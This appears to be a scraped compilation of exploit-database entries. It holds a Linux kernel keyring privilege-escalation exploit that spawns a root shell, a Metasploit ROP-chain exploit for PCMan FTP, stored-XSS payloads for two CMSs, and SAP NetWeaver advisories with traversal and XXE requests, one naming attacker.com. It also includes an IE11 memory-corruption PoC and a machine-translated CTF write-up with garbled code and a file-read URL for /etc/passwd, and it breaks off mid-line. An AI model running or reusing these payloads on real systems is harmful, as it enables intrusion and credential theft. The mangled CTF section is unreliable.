pid_t pid = -1;
struct key_type * my_key_type = NULL;
struct {
long mtype;
char mtext[STRUCT_LEN];
} msg = {0x4141414141414141, {0}};
int msqid;
if (argc != 2) {
puts("usage: ./keys <key_name>");
return 1;
}
printf("[+] uid=%d, euid=%d\n", getuid(), geteuid());
commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
prepare_kernel_cred = (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred");
if(commit_creds == NULL || prepare_kernel_cred == NULL) {
commit_creds = (_commit_creds)COMMIT_CREDS_ADDR;
prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CREDS_ADDR;
if(commit_creds == (_commit_creds)0xffffffff810bb050 || prepare_kernel_cred == (_prepare_kernel_cred)0xffffffff810bb370)
puts("[-] You probably need to change the address of commit_creds and prepare_kernel_cred in source");
}
my_key_type = malloc(sizeof(*my_key_type));
my_key_type->revoke = (void*)userspace_revoke;
memset(msg.mtext, 'A', sizeof(msg.mtext));
// key->uid
*(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
//key->perm
*(int*)(&msg.mtext[64]) = 0x3f3f3f3f;
//key->type
*(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
keyring_name = argv[1];
/* Set the new session keyring before we start */
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
if (serial < 0) {
perror("keyctl");
return -1;
}
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
perror("keyctl");
return -1;
}
puts("[+] Increfing...");
for (i = 1; i < 0xfffffffd; i++) {
if (i == (0xffffffff - l)) {
l = l/2;
sleep(5);
}
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("[-] keyctl");
return -1;
}
}
sleep(5);
/* here we are going to leak the last references to overflow */
for (i=0; i<5; ++i) {
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("[-] keyctl");
return -1;
}
}
puts("[+] Finished increfing");
puts("[+] Forking...");
/* allocate msg struct in the kernel rewriting the freed keyring object */
for (i=0; i<64; i++) {
pid = fork();
if (pid == -1) {
perror("[-] fork");
return -1;
}
if (pid == 0) {
sleep(2);
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("[-] msgget");
exit(1);
}
for (i = 0; i < 64; i++) {
if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
perror("[-] msgsnd");
exit(1);
}
}
sleep(-1);
exit(1);
}
}
puts("[+] Finished forking");
sleep(5);
/* call userspace_revoke from kernel */
puts("[+] Caling revoke...");
if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
perror("[+] keyctl_revoke");
}
printf("uid=%d, euid=%d\n", getuid(), geteuid());
execl("/bin/sh", "/bin/sh", NULL);
return 0;
}
=begin
# Exploit Title: WordPress Shopping Cart 3.0.4 Unrestricted File Upload
# Date: 22-06-2016
# Software Link: https://www.exploit-db.com/apps/9fceb6fefd0f3ca1a8c36e97b6cc925d-PCMan.7z
# Exploit Author: quanyechavshuo
# Contact: quanyechavshuo@gmail.com
# Website: http://xinghuacai.github.io
# Category: ftp remote exploit
1. Description
this is another bug of pcmanftp which can be used to get a remote shell,and fits well with win7x64 with dep open,refer from
https://www.exploit-db.com/exploits/39662/
use anonymous and any password to login the ftp remotely,then send a command "ls AAA...A"(9000),the pcmanftp will crashed,later,find the 2009-2012th "A" will replace the pcmanftp's retn address
=end
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
'Name' => 'PCMAN FTP Server Buffer Overflow - ls Command',
'Description' => %q{
This module exploits a buffer overflow vulnerability found in the PUT command of the
PCMAN FTP v2.0.7 Server. This requires authentication but by default anonymous
credientials are enabled.
},
'Author' =>
[
'quanyechavshuo'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'EDB', '39662'],
[ 'OSVDB', 'N/A']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process'
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x0A\x0D",
},
'Platform' => 'win',
'Targets' =>
[
[ 'windows 7 x64 chinese',
{
#'Ret' => 0x77636aeb, #dont need ret here in win7
'Offset' => 2008
}
],
],
'DisclosureDate' => 'Aug 07 2015',
'DefaultTarget' => 0))
end
def check
connect_login
disconnect
if /220 PCMan's FTP Server 2\.0/ === banner
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end
def create_rop_chain()
# rop chain generated with mona.py - www.corelan.be
rop_gadgets =
[
0x77032c3b, # POP EAX # RETN [kernel32.dll]
0x41414141, # add a 4 bytes data to fit retn 0x4 from the last function's retn before eip=rop_gadgets
0x73c112d0, # ptr to &VirtualProtect() [IAT OLEACC.dll]
0x76bb4412, # MOV EAX,DWORD PTR DS:[EAX] # RETN [MSCTF.dll]
0x76408d2a, # XCHG EAX,ESI # RETN [SHLWAPI.dll]
0x76b607f0, # POP EBP # RETN [msvcrt.dll]
0x74916f14, # & push esp # ret [RICHED20.dll]
0x7368b031, # POP EAX # RETN [COMCTL32.dll]
0xfffffaff, # Value to negate, will become 0x00000201
0x756c9a5c, # NEG EAX # RETN [SHELL32.dll]
0x767088bd, # XCHG EAX,EBX # RETN [RPCRT4.dll]
0x77031d7b, # POP EAX # RETN [kernel32.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x76cc4402, # NEG EAX # RETN [SHELL32.dll]
0x76b4ad98, # XCHG EAX,EDX # RETN [SHELL32.dll]
0x756b1cc1, # POP ECX # RETN [SHELL32.dll]
0x7647c663, # &Writable location [USP10.dll]
0x73756cf3, # POP EDI # RETN [COMCTL32.dll]
0x76cc4404, # RETN (ROP NOP) [USER32.dll]
0x76b3f5d4, # POP EAX # RETN [msvcrt.dll]
0x90909090, # nop
0x7366e16f, # PUSHAD # RETN [COMCTL32.dll]
].flatten.pack("V*")
return rop_gadgets
end
def exploit
connect_login
print_status('Generating payload...')
sploit = rand_text_alpha(target['Offset'])
#tmp = sploit
#print_status(tmp)
sploit << create_rop_chain()
#sploit << make_nops(9) 这句产生的nop并非90
sploit << "\x90"*30
#sploit << "\x41"*30
#sploit << "\xcc"
sploit << payload.encoded
#tmp=sploit
tmp=make_nops(9)
print_status(tmp)
send_cmd( ["ls", sploit], false )
disconnect
end
end
# Exploit Title: YetiForce CRM < 3.1 - Persistant XSS Vulnerability
# Exploit Author: David Silveiro
# Exploit Author Github: github.com/davidsilveiro
# Exploit Author Twitter: twitter.com/david_silveiro
# Vendor Homepage: https://yetiforce.com/
# Software Link: http://sourceforge.net/projects/yetiforce/
# Date: Fixed on 20th June 2016
YetiForce CRM was built on a rock-solid Vtiger foundation, but has hundreds of changes that help to accomplish even the most challenging tasks in the simplest way
YetiForce is vulnerable to a stored XSS vulnerability present within a users comment section.
POC:
Within 'Companies & Accounts > Accounts' select your prefered user, and then in the 'Comments' section input;
<img src=x onerror=alert('XSS');>
Either refresh the current page, or navigate back to 'Accounts'
# Exploit Title: Radiant CMS 1.1.3 - Mutiple Persistant XSS Vulnerabilities
# Exploit Author: David Silveiro
# Exploit Author Github: github.com/davidsilveiro
# Exploit Author Twitter: twitter.com/david_silveiro
# Vendor Homepage: http://radiantcms.org/
# Software Link: http://radiantcms.org/download/
# Date: Zero day
Radiant is a no-fluff, open source content management system designed for small teams. It is similar to Textpattern or MovableType, but is a general purpose content management system (not just a blogging engine) written in Ruby.
Stored XSS 1 – File Title Upload
The attacker must first be a user of sorts, as there's only 2 types of roles 'administrator' & 'designer' we're going with the assumption of the latter. Now as the designer we have the option to upload 'assets' such as files or images, here lyes one of the issues.
When uploading, we're presented with the option to create a title for an image, which gets displayed back in the general repository where a user logged in as admin would also be able to see it. We're able to input our own javascript within this field, thus when a you then visit the 'assets' page, you will be presented with a pop up.
Enter the example below.
POC:
Title: </script>alert('XSS')</script>
Stored XSS 2 – User Personal Preferences
This time round were faced with a lot more avenues to have our JS displayed back to us. Again, we're going with the assumption that we're logged in as a designer user.
Let us navigate to the 'Settings page', where you'll see 2 options to edit Personal Preferences & Configuration, click on Edit Prefrences.
POC:
Name: <script>alert('XSS 1')</script>
Email Address: <script>alert('XSS2')</script>@gmail.com
Username: <script>alert('XSS3')</script>
This will not only reflect back to you, as the designer, but also the back to the admin when he/she goes onto the http://127.0.0.1/admin/users/ and is presented with our users malicious 'NAME' parameter.
Application: SAP NetWeaver AS JAVA
Versions Affected: SAP NetWeaver AS JAVA 7.1 - 7.5
Vendor URL: http://SAP.com
Bug: Directory traversal
Sent: 29.09.2015
Reported: 29.09.2015
Vendor response: 30.09.2015
Date of Public Advisory: 08.03.2016
Reference: SAP Security Note 2234971
Author: Vahagn Vardanyan (ERPScan)
Description
1. ADVISORY INFORMATION
Title: [ERPSCAN-16-012] SAP NetWeaver AS Java directory traversal vulnerability
Advisory ID: [ERPSCAN-16-012]
Risk: medium
Advisory URL: https://erpscan.com/advisories/erpscan-16-012/
Date published: 08.03.2016
Vendors contacted: SAP
2. VULNERABILITY INFORMATION
Class: directory traversal
Impact: remotely read file from server
Remotely Exploitable: Yes
Locally Exploitable: No
CVE-2016-3976
CVSS Information
CVSS Base Score v3: 7.5 / 10
CVSS Base Vector:
AV : Attack Vector (Related exploit range) Network (N)
AC : Attack Complexity (Required attack complexity) Low (L)
PR : Privileges Required (Level of privileges needed to exploit) None (N)
UI : User Interaction (Required user participation) None (N)
S : Scope (Change in scope due to impact caused to components beyond
the vulnerable component) Changed (C)
C : Impact to Confidentiality Low (L)
I : Impact to Integrity None (N)
A : Impact to Availability None (N)
3. VULNERABILITY DESCRIPTION
An authorized attacker can use a special request to read files from
the server and then escalate his or her privileges.
4. VULNERABLE PACKAGES
SAP NetWeaver AS JAVA 7.1 - 7.5
Other versions are probably affected too, but they were not checked.
5. SOLUTIONS AND WORKAROUNDS
To correct this vulnerability, install SAP Security Note 2234971
6. AUTHOR
Vahagn Vardanyan (ERPScan)
7. TECHNICAL DESCRIPTION
An attacker can use an SAP NetWeaver function CrashFileDownloadServlet
to read files from the server.
PoC
GET /XXX/CrashFileDownloadServlet?fileName=..\security\data\SecStore.key
Disclaimer: According to the partnership agreement between ERPScan and
SAP, our company is not entitled to publish any detailed information
about detected vulnerabilities before SAP releases a patch. After the
release, SAP suggests respecting an implementation time of three
months and asks security researchers to not to reveal any details
during this time. However, In this case, the vulnerability allows an
attacker to read arbitrary files on a remote server, possibly
disclosing confidential information, and many such services are
exposed to the Internet. As responsible security researchers, ERPScan
team made a decision not to disseminate the full PoC even after the
specified time.
8. REPORT TIMELINE
Send: 29.09.2015
Reported: 29.09.2015
Vendor response: 30.09.2015
Date of Public Advisory: 08.03.2016
9. REFERENCES
https://erpscan.com/advisories/erpscan-16-012/
10. ABOUT ERPScan Research
The company’s expertise is based on the research subdivision of
ERPScan, which is engaged in vulnerability research and analysis of
critical enterprise applications. It has achieved multiple
acknowledgments from the largest software vendors like SAP, Oracle,
Microsoft, IBM, VMware, HP for discovering more than 400
vulnerabilities in their solutions (200 of them just in SAP!).
ERPScan researchers are proud to have exposed new types of
vulnerabilities (TOP 10 Web Hacking Techniques 2012) and to be
nominated for the best server-side vulnerability at BlackHat 2013.
ERPScan experts have been invited to speak, present, and train at 60+
prime international security conferences in 25+ countries across the
continents. These include BlackHat, RSA, HITB, and private SAP
trainings in several Fortune 2000 companies.
ERPScan researchers lead the project EAS-SEC, which is focused on
enterprise application security research and awareness. They have
published 3 exhaustive annual award-winning surveys about SAP
security.
ERPScan experts have been interviewed by leading media resources and
featured in specialized info-sec publications worldwide. These include
Reuters, Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading,
Heise, and Chinabyte, to name a few.
We have highly qualified experts in staff with experience in many
different fields of security, from web applications and
mobile/embedded to reverse engineering and ICS/SCADA systems,
accumulating their experience to conduct the best SAP security
research.
11. ABOUT ERPScan
ERPScan is the most respected and credible Business Application
Security provider. Founded in 2010, the company operates globally and
enables large Oil and Gas, Financial and Retail organizations to
secure their mission-critical processes. Named as an ‘Emerging Vendor’
in Security by CRN, listed among “TOP 100 SAP Solution providers” and
distinguished by 30+ other awards, ERPScan is the leading SAP SE
partner in discovering and resolving security vulnerabilities. ERPScan
consultants work with SAP SE in Walldorf to assist in improving the
security of their latest solutions.
ERPScan’s primary mission is to close the gap between technical and
business security, and provide solutions to evaluate and secure SAP
and Oracle ERP systems and business-critical applications from both,
cyber-attacks as well as internal fraud. Usually our clients are large
enterprises, Fortune 2000 companies and managed service providers
whose requirements are to actively monitor and manage security of vast
SAP landscapes on a global scale.
We ‘follow the sun’ and function in two hubs, located in the Palo Alto
and Amsterdam to provide threat intelligence services, agile support
and operate local offices and partner network spanning 20+ countries
around the globe.
Application: SAP NetWeaver AS JAVA
Versions Affected: SAP NetWeaver AS JAVA 7.1 - 7.5
Vendor URL: http://SAP.com
Bug: XXE
Sent: 20.10.2015
Reported: 21.10.2015
Vendor response: 21.10.2015
Date of Public Advisory: 08.03.2016
Reference: SAP Security Note 2235994
Author: Vahagn Vardanyan (ERPScan)
Description
1. ADVISORY INFORMATION
Title: [ERPSCAN-16-013] SAP NetWeaver AS Java ctcprotocol servlet –
XXE vulnerability
Advisory ID: [ERPSCAN-16-013]
Risk: Medium
Advisory URL: https://erpscan.com/advisories/erpscan-16-013-sap-netweaver-7-4-ctcprotocol-servlet-xxe/
Date published: 08.03.2016
Vendors contacted: SAP
2. VULNERABILITY INFORMATION
Class: XXE
Impact: denial of service
Remotely Exploitable: Yes
Locally Exploitable: No
CVE-2016-3974
CVSS Information
CVSS Base Score v3: 6.4 / 10
CVSS Base Vector:
AV : Attack Vector (Related exploit range) Network (N)
AC : Attack Complexity (Required attack complexity) High (H)
PR : Privileges Required (Level of privileges needed to exploit) High (H)
UI : User Interaction (Required user participation) None (N)
S : Scope (Change in scope due to impact caused to components beyond
the vulnerable component) Unchanged (U)
C : Impact to Confidentiality High (H)
I : Impact to Integrity High (H)
A : Impact to Availability High (H)
3. VULNERABILITY DESCRIPTION
Authorized attacker can use a special request to read files from the
server and then escalate his or her privileges.
4. VULNERABLE PACKAGES
SAP NetWeaver AS JAVA 7.1 - 7.5
Other versions are probably affected too, but they were not checked.
5. SOLUTIONS AND WORKAROUNDS
To correct this vulnerability, install SAP Security Note 2235994
6. AUTHOR
Vahagn Vardanyan (ERPScan)
7. TECHNICAL DESCRIPTION
An XML external entity (XXE) vulnerability in the Configuration Wizard
in SAP NetWeaver Java AS 7.4 allows remote attackers to cause a denial
of service, conduct SMB Relay attacks, or access arbitrary files via a
crafted XML request related to the ctcprotocol servlet.
PoC
POST /_tc~monitoring~webservice~web/ServerNodesWSService HTTP/1.1
Content-Type: text/xml
<SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<SOAP-ENV:Body>
<m:XXX xmlns:m="http://sap.com/monitoring/ws/sn/">
<url>attacker.com</url>
</m:XXX>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
8. REPORT TIMELINE
Sent: 20.10.2015
Reported: 21.10.2015
Vendor response: 21.10.2015
Date of Public Advisory: 08.03.2016
9. REFERENCES
https://erpscan.com/advisories/erpscan-16-013-sap-netweaver-7-4-ctcprotocol-servlet-xxe/
10. ABOUT ERPScan Research
The company’s expertise is based on the research subdivision of
ERPScan, which is engaged in vulnerability research and analysis of
critical enterprise applications. It has achieved multiple
acknowledgments from the largest software vendors like SAP, Oracle,
Microsoft, IBM, VMware, HP for discovering more than 400
vulnerabilities in their solutions (200 of them just in SAP!).
ERPScan researchers are proud to have exposed new types of
vulnerabilities (TOP 10 Web Hacking Techniques 2012) and to be
nominated for the best server-side vulnerability at BlackHat 2013.
ERPScan experts have been invited to speak, present, and train at 60+
prime international security conferences in 25+ countries across the
continents. These include BlackHat, RSA, HITB, and private SAP
trainings in several Fortune 2000 companies.
ERPScan researchers lead the project EAS-SEC, which is focused on
enterprise application security research and awareness. They have
published 3 exhaustive annual award-winning surveys about SAP
security.
ERPScan experts have been interviewed by leading media resources and
featured in specialized info-sec publications worldwide. These include
Reuters, Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading,
Heise, and Chinabyte, to name a few.
We have highly qualified experts in staff with experience in many
different fields of security, from web applications and
mobile/embedded to reverse engineering and ICS/SCADA systems,
accumulating their experience to conduct the best SAP security
research.
11. ABOUT ERPScan
ERPScan is the most respected and credible Business Application
Security provider. Founded in 2010, the company operates globally and
enables large Oil and Gas, Financial and Retail organizations to
secure their mission-critical processes. Named as an ‘Emerging Vendor’
in Security by CRN, listed among “TOP 100 SAP Solution providers” and
distinguished by 30+ other awards, ERPScan is the leading SAP SE
partner in discovering and resolving security vulnerabilities. ERPScan
consultants work with SAP SE in Walldorf to assist in improving the
security of their latest solutions.
ERPScan’s primary mission is to close the gap between technical and
business security, and provide solutions to evaluate and secure SAP
and Oracle ERP systems and business-critical applications from both,
cyber-attacks as well as internal fraud. Usually our clients are large
enterprises, Fortune 2000 companies and managed service providers
whose requirements are to actively monitor and manage security of vast
SAP landscapes on a global scale.
We ‘follow the sun’ and function in two hubs, located in the Palo Alto
and Amsterdam to provide threat intelligence services, agile support
and operate local offices and partner network spanning 20+ countries
around the globe.
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=779
Windows: Custom Font Disable Policy Bypass
Platform: Windows 10 Only
Class: Security Feature Bypass
Summary:
It’s possible to bypass the ProcessFontDisablePolicy check in win32k to load a custom font from an arbitrary file on disk even in a sandbox. This might be used as part of a chain to elevate privileges. If anything this is really a useful demonstration that you probably really want to shutdown the object manager directory shadowing as part of the sandbox mitigations, even if you don’t fix the explicit bypass.
Description:
The Process Mitigation policy ProcessFontDisablePolicy disables loading fonts from memory or by a path other than in the system fonts directory. This is probably mostly redundant with the introduction of the User Mode Font Driver, although there’s some interesting additional attack surface if you could compromise that process (it is running with a locked down DACL to prevent people attacking it, presumably). Also while UMFD runs in an AppContainer it might be less restrictive than other sandboxes providing a limited sandbox escape (again to just open up additional attack surface).
The issue is due to a race condition in the check which looks similar to the following:
int WIN32K::bLoadFont(...) {
int load_option = GetCurrentProcessFontLoadingOption();
bool system_font = true;
if (load_option) {
HANDLE hFile = hGetHandleFromFilePath(FontPath); <- First open of path
BOOL system_font = bIsFileInSystemFontsDir(hFile); <- Should return True
ZwClose(hFile);
if (!system_font) {
LogFontLoadAttempt(FontPath);
if (load_option == 2)
return 0;
}
}
// Switch out path here
HANDLE hFont = hGetHandleFromFilePath(FontPath); <- Will open our custom font
// Map font as section
}
There’s a clear race between opening the font and checking its location and then re-opening it again to map the file as a section for processing. If you could make the first check open a file in the system font directory then it’d pass the check. If you then switch out the font for your custom one it’ll load that instead. Previously I’d do this using symbolic links, such as mount points or object manager links but that’s pretty much no longer available in sandboxes anymore. So instead I’ve abused object manager directory shadows again. You can construct a native NT path in such a way that it will first open a system font file, then using a oplock to win the race we can switch the directory object to point to our custom font on disk.
Note: I effectively presented this at the Troopers conference and even said how I did it so this is sort of been publicly disclosed. But that was using object manager symbolic links, and due to the way the font files are loaded this wasn’t usable in a sandbox due to it opening the files at kernel privilege. I pointed out to the attendees that I didn’t think it was easy to exploit in a sandbox so it wasn’t a problem. I’ve spoke to Gavin Thomas about this, he wanted the PoC sending even if unexploitable. As this seems to be more of a problem thought I’d send into secure@.
Proof of Concept:
I’ve provided a PoC which will demonstrate the bypass. It should be executed at low integrity using psexec or modifying the executable file’s ACL to low.
1) Extract the PoC to a location on a local hard disk which is writable by a low IL user. This is necessary as the PoC needs to copy a font file to the applications directory. You also need a copy the pacifioc.ttf font file into the same directory.
2) Execute the poc executable file as low integrity.
Expected Result:
It shouldn’t be possible to load a custom font from disk if it’s outside of the system font location.
Observed Result:
The font is loaded and can be used with GDI.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39993.zip
<!--
CVE-2016-0199 / MS16-063: MSIE 11 garbage collector attribute type confusion
============================================================================
This information is available in an easier to read format on my blog at
http://blog.skylined.nl/
With [MS16-063] Microsoft has patched [CVE-2016-0199]: a memory
corruption bug
in the garbage collector of the JavaScript engine used in Internet
Explorer 11.
By exploiting this vulnerability, a website can causes this garbage
collector
to handle some data in memory as if it was an object, when in fact it
contains
data for another type of value, such as a string or number. The garbage
collector code will use this data as a virtual function table (vftable)
in order
to make a virtual function call. An attacker has enough control over
this data
to allow execution of arbitrary code.
Known affected software and attack vectors
------------------------------------------
+ **Microsoft Internet Explorer 11** (all versions before the June 2016
patch)
An attacker would need to get a target user to open a specially crafted
webpage. Disabling JavaScript should prevent an attacker from
triggering the
vulnerable code path.
Repro
-----
I've created two separate html files that can be used to reproduce this
issue
and shows control over a 32-bit vftable pointer in x86 versions of MSIE or a
partial control over a 64-bit vftable pointer in x64 versions.
-->
<!DOCTYPE html>
<meta http-equiv="X-UA-Compatible" content="IE=7">
<script>
oElement = document.createElement("IMG");
var oAttr = document.createAttribute("loop");
oAttr.nodeValue = oElement;
oElement.loop = 0x41424344; // Set original value data to 44 43 42 41
oElement.setAttributeNode(oAttr); // Replace oElement with original value data
oElement.removeAttributeNode(oAttr);
CollectGarbage(); // Use original value data as address 0x41424344 of a vftable
</script>
<!--
(I've had to use xcript rather than script because Gmail refused to send it
otherwise, see https://support.google.com/mail/answer/6590 for the reason.)
Description
-----------
When `setAttributeNode` is used to set an attribute of a HTML element,
and the
`Attr` node's `nodeValue` is not a valid value, this `nodeValue` is set
to the
value the attribute had before the call. This can happen for instance
when you
try to set an attribute that must have a string or number value by using an
`Attr` node with a HTML element as its `nodeValue` (as this is not a
string or
number). The HTML element in `nodeValue` is replaced with the string or
number
value the attribute had before the call to `setAttributeNode`.
If the `Attr` node is then removed using `removeAttributeNode` and the
garbage
collector runs, the code appears to assume the nodeValue still contains an
object, rather than the string or number it has been changed into. This
causes
the code to use the data for the string or number value as if it was a C++
object. It attempts to determine a function pointer for a method from the
object's virtual function table before calling this function using the
pointer.
If the previous value is a string, the character data from the string is
used
to calculate the function pointer. If the previous value is a number,
the value
of the number is used. This provides an attacker with a large amount of
control
over the function pointer and may allow execution of arbitrary code.
Scanner
-------
I build a "scanner" to analyze this issue and help create two
proof-of-concept
files that show control over the vftable pointer. More details and the
source
for these can be found on my blog at http://blog.skylined.nl.
-->
web
easywill
問題解決策
可変オーバーレイ
http://ECI-2ZEJ1GOYN9JH8HTY6TON.CLOUDECI1.ICUNQIU.COM/?NAME=CFILEVALUE=/ETC/PASSWD
Psychological Blogの最近の記事はPearcmd:https://ttang.com/archive/1312/を利用しています
秋のペンテスト
問題を解決するためのアイデア
http://ECI-2ZE40JM526Y24NV2LKL3.CLOUDECI1.ICUNQIU.com:88888/許可バイパス/;/アクチュエーター/env/;/アクチュエーター/heapdump
復号化スクリプト
ImportBase64
intervertruct
print(base64.b64encode(struct.pack( 'bbbbbbbbbbbbbbbbbb'、-126、-67,24、-71、-62、-122,61、-52,91,77)、-110,115、-43,100、-88,103)))))
#gr0yuckgpcxbtzjz1wsozw==flag {3fa31850-8ee6-40f2-9b18-9ecf6cac176c}
逆
hideit
問題解決策
開いた後、SMCがあることがわかりました。単一のステップのデバッグでメイン関数が見つかりません。
出力文字列、パットの下のブレークポイントを発見し、2回目のブレークの後、メイン関数に戻り、関数ヘッダーに移動して、逆コンパイル
__int64__fastcallsub_24d61161bb0(__ int64a1)
{
//.
if(!(unsignedint)off_24d61163000(-2147483646i64、asoftwareclasse、v24))
{
V23=0;
((void(__ fastcall*)(char*、_ qword、__ int64))unk_24d61162a0c)(v21,0i64,520i64);
V22=66;
if(!(unsignedint)off_24d61163008(v24、akeyssecret、0i64、v23、v21、v22))
OFF_24D61163020(0I64,0I64、V21,0XFFFFFFFFI64、V14,260,0I64,0I64);
}
OFF_24D611630F8(AfirstSecrether);
V10=0i64;
v11=0;
((void(__ fastcall*)(void*、__ int64*))unk_24d61161b50)(unk_24d6116324c、v10);
V12=0i64;
strcpy((char*)v12、(constchar*)v10);
V13 [0]=114;
v13 [1]=514;
V13 [2]=19;
V13 [3]=19;
((void(__ fastcall*)(char*、_ qword、__ int64))unk_24d61162a0c)(v20,0i64,512i64);
v3=hidword(v12);
V4=32;
v5=v12;
v6=hidword(v12);
v7=0;
する
{
V7-=1640531527;
v8=(v72)3;
v5+=((v7^v3)+(v6^v13 [v8]))^((((16*v6)^(v33))+((v65)^(4*v3)));
v3+=((v7^v5)+(v5^v13 [v8^1]))^((((16*v5)^(v53))+((v55)^(4*v5)));
v6=v3;
-v4;
}
while(v4);
if(v5==288407067v3==1668576323)
{
V17=0I64;
v18=(unsigned__int8)v10 |((byte1(v10)|(word1(v10)8))8);
v19=byte4(v10)|((byte5(v10)|(hiword(v10)8))8);
((void(__ fastcall*)(_ dword*、__ int64))unk_24d61161000)(v16、a1); //key extension
sub_24d61161150(V16、V14、V20); //2番目のステップ暗号化
while(byte_24d611631d0 [v2]==v20 [v2])
{
if(++ v2=32)
RETURNOFF_24D611630F8(AYOUFINDLASTSEC);
}
}
return0i64;
}最初にクラスティー暗号化を実行します。これらの8つの単語がメソッドに準拠している場合は、暗号化の2番目のステップを実行します。クラスティー暗号化は弦のdotitsitをデコードし、2番目の段落は次のように暗号化されます
_DWORD*__ FASTCALLSUB_24D61161150(_DWORD*a1、__ int128*a2、_byte*a3)
{
//.
if(a2)
{
v13=(char*)a2-(char*)v122;
V14=V122;
する
{
*(_ byte*)v14=*((_ byte*)v14+v13);
v14=(__ int128*)((char*)v14+1);
-v11;
}
while(v11);
V127=V122;
}
//keyoperation
(1)
{
//keyoperation
}
//.
if(v127)
{
//ここでブレークポイントを準備し、V76の値を表示します.
v76^=*(unsigned__int8*)v127 |((*((((unsigned __int8*)v127+1)|(*((unsigned__int16*)v127+1)8)8);
v77^=*((unsigned__int8*)v127+4)|((*((((unsigned __int8*)v127+5)|(*((unsigned__int16*)v127+3)8)8);
v78^=*((unsigned__int8*)v127+8)|((*(((((unsigned __int8*)v127+9)|(*((unsigned__int16*)v127+5)8)8);
v79^=*((unsigned__int8*)v127+12)|((*(((((unsigned))v127+13)|(((unsigned__int16*)v127+7)8)8);
v80^=*((unsigned__int8*)v127+16)|((*((((unsigned __int8*)v127+17)|(*((unsigned__int16*)v127+9)8)8);
v129^=*((unsigned__int8*)v127+20)|((*(((unsigned__int8*)v127+21)|(*((unsigned__int16*)v127+11)8)8);
lodword(v97)=(*((unsigned__int8*)v127+24)|((*((unsigned__int8*)v127+25)|(*((unsigned__int16*)v127)
+13)8))8))^V97;
hidword(v97)^=*((unsigned__int8*)v127+28)|((*((unsigned__int8*)v127+29)|(*((unsigned__int16*)v127)
+15)8))8);
v81^=*((unsigned__int8*)v127+32)|((*((((unsigned __int8*)v127+33)|(*((unsigned__int16*)v127+17)8)8);
v86^=*((unsigned__int8*)v127+36)|((*(((((unsigned))v127+37)|(*((unsigned__int16*)v127+19)8)8);
v87^=*((unsigned__int8*)v127+44)|((*(((unsigned__int8*)v127+45)|(*((unsigned__int16*)v127+23)8)8);
v82^=*((unsigned__int8*)v127+48)|((*(((unsigned__int8*)v127+49)|(*((unsigned__int16)v127+25)8)8);
v83^=*((unsigned__int8*)v127+52)|((*(((unsigned__int8*)v127+53)|(*((unsigned__int16*)v127+27)8)8);
v84^=*((unsigned__int8*)v127+56)|((*((((unsigned __int8*)v127+57)|(*((unsigned__int16*)v127+29)8)8);
v85^=*((unsigned__int8*)v127+60)|((*((((((unsigned))__int8*)v127+61)|(*((unsigned__int16*)v127+31)8)8);
v75^=*((unsigned__int8*)v127+40)|((*(((((unsigned __int8*)v127+41)|(*((unsigned__int16*)v127+21)8)8);
}
//データコピー
する
{
*v90=v90 [(char*)v122-a3];
++ V90;
-v91;
}
while(v91);
結果=a1;
A1 [12]=V105;
A1 [13]=V100;
returnResult;
}この関数は複雑に見えますが、実際にはキーで非常に複雑な操作を実行し、入力を使用してXORを実行することです。
exp
#includestdio.h#includestdlib.h
#includeinttypes.h
#includestring.h
#include'defs.h '
#includestdint.h
voiddecrypt(uint32_t*v)
{
UINT32_TV7、V8、V6、V5、V4、V3;
V4=32;
uint32_tv11 []={114,514,19,19};
V7=0x9E3779B9*32;
v5=0x1130be1b;
V3=0x63747443; do
{
v8=(v72)3;
v3 - =((v7^v5)+(v5^v11 [v8^1]))^(((16*v5)^(v53)+((v55)^(4*v5)));
v6=v3;
v5 - =((v7^v3)+(v6^v11 [v8]))^((((16*v6)^(v33))+((v65)^(4*v3)));
-v4;
v7-=0x9e3779b9;
} while(v4);
V [0]=V5;
V [1]=V3;
}
intmain()
{
uint32_tk []={114,514,19,19};
uint8_tp []='12345678';
uint32_tc []={288407067,1668576323};
Decrypt(c);
printf( '%sn'、c);
for(size_ti=0; i8; i ++)
{
printf( '0x%02x、'、*(uint8_t*)c [i]);
}
printf( 'n');
Charkey []='Expand32-bytek0n3@ayi_m3l0dy_kurom1_w_suk1dqy0x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00dotitit';
